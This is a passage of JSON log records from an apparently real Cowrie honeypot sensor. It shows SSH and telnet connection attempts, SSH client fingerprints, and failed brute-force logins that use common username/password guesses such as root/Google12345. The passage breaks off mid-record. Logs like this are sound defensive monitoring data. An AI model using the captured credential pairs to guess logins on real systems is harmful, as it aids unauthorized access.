{"eventid":"cowrie.session.closed","duration":31.471748113632202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:53.712527Z","src_ip":"161.35.55.174","session":"53204c516ea2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":38430,"dst_ip":"10.17.0.5","dst_port":22,"session":"efcbf97d960e","protocol":"ssh","message":"New connection: 210.183.21.53:38430 (10.17.0.5:22) [session: efcbf97d960e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:56.188188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:56.193183Z","src_ip":"210.183.21.53","session":"efcbf97d960e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:56.394675Z","src_ip":"210.183.21.53","session":"efcbf97d960e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Google12345","message":"login attempt [root/Google12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:57.230829Z","src_ip":"210.183.21.53","session":"efcbf97d960e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:58.435804Z","src_ip":"210.183.21.53","session":"efcbf97d960e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.514965772628784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:01.003995Z","src_ip":"161.35.55.174","session":"d3798f0ac7ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.619388341903687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:04.235346Z","src_ip":"103.109.7.235","session":"5cedd503e09d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.267096519470215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:08.097915Z","src_ip":"103.109.7.235","session":"9bcc7bdbffe4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58262,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ccb0430eb98","protocol":"ssh","message":"New connection: 159.203.92.129:58262 (159.203.135.109:22) [session: 5ccb0430eb98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:10.353122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:10.358223Z","src_ip":"159.203.92.129","session":"5ccb0430eb98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:10.362433Z","src_ip":"159.203.92.129","session":"5ccb0430eb98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Xroot","password":"123456","message":"login attempt [Xroot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:10.372709Z","src_ip":"159.203.92.129","session":"5ccb0430eb98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:11.400215Z","src_ip":"159.203.92.129","session":"5ccb0430eb98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.35392427444458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:12.136963Z","src_ip":"103.109.7.235","session":"308b8299183d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.149.53.243","src_port":6134,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fda4327e4d8","protocol":"ssh","message":"New connection: 201.149.53.243:6134 (10.17.0.5:22) [session: 8fda4327e4d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:14.750982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:14.755768Z","src_ip":"201.149.53.243","session":"8fda4327e4d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:14.827724Z","src_ip":"201.149.53.243","session":"8fda4327e4d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"asdfasdf","message":"login attempt [postgres/asdfasdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:15.140674Z","src_ip":"201.149.53.243","session":"8fda4327e4d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:16.212196Z","src_ip":"201.149.53.243","session":"8fda4327e4d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.962230682373047,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:16.523441Z","src_ip":"103.109.7.235","session":"e51fe8f90ed0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":54562,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e81c5666644","protocol":"ssh","message":"New connection: 185.216.119.134:54562 (10.17.0.5:22) [session: 8e81c5666644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:31.552527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:31.567767Z","src_ip":"185.216.119.134","session":"8e81c5666644","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:32.442744Z","src_ip":"185.216.119.134","session":"8e81c5666644","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cy@123456","message":"login attempt [root/Cy@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:33.878674Z","src_ip":"185.216.119.134","session":"8e81c5666644","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:35.099648Z","src_ip":"185.216.119.134","session":"8e81c5666644","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":48290,"dst_ip":"159.203.135.109","dst_port":22,"session":"38a4020b781d","protocol":"ssh","message":"New connection: 221.139.88.149:48290 (159.203.135.109:22) [session: 38a4020b781d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:47.148319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:47.153799Z","src_ip":"221.139.88.149","session":"38a4020b781d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:47.386606Z","src_ip":"221.139.88.149","session":"38a4020b781d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"min3craft","message":"login attempt [minecraft/min3craft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:48.225735Z","src_ip":"221.139.88.149","session":"38a4020b781d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:49.466073Z","src_ip":"221.139.88.149","session":"38a4020b781d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":55592,"dst_ip":"10.17.0.5","dst_port":22,"session":"f30a0ca41b9c","protocol":"ssh","message":"New connection: 210.183.21.53:55592 (10.17.0.5:22) [session: f30a0ca41b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:50.676816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:50.681525Z","src_ip":"210.183.21.53","session":"f30a0ca41b9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:50.879461Z","src_ip":"210.183.21.53","session":"f30a0ca41b9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root.123456","message":"login attempt [root/root.123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:51.699098Z","src_ip":"210.183.21.53","session":"f30a0ca41b9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50068,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec9bf5d72f3e","protocol":"ssh","message":"New connection: 159.203.92.129:50068 (159.203.135.109:22) [session: ec9bf5d72f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:52.370326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:52.377928Z","src_ip":"159.203.92.129","session":"ec9bf5d72f3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:52.383094Z","src_ip":"159.203.92.129","session":"ec9bf5d72f3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Xroot","password":"Xroot","message":"login attempt [Xroot/Xroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:52.393046Z","src_ip":"159.203.92.129","session":"ec9bf5d72f3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:52.899324Z","src_ip":"210.183.21.53","session":"f30a0ca41b9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:27:53.400653Z","src_ip":"159.203.92.129","session":"ec9bf5d72f3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.149.53.243","src_port":1995,"dst_ip":"10.17.0.5","dst_port":22,"session":"f681b09afe98","protocol":"ssh","message":"New connection: 201.149.53.243:1995 (10.17.0.5:22) [session: f681b09afe98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:07.124333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:07.128376Z","src_ip":"201.149.53.243","session":"f681b09afe98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.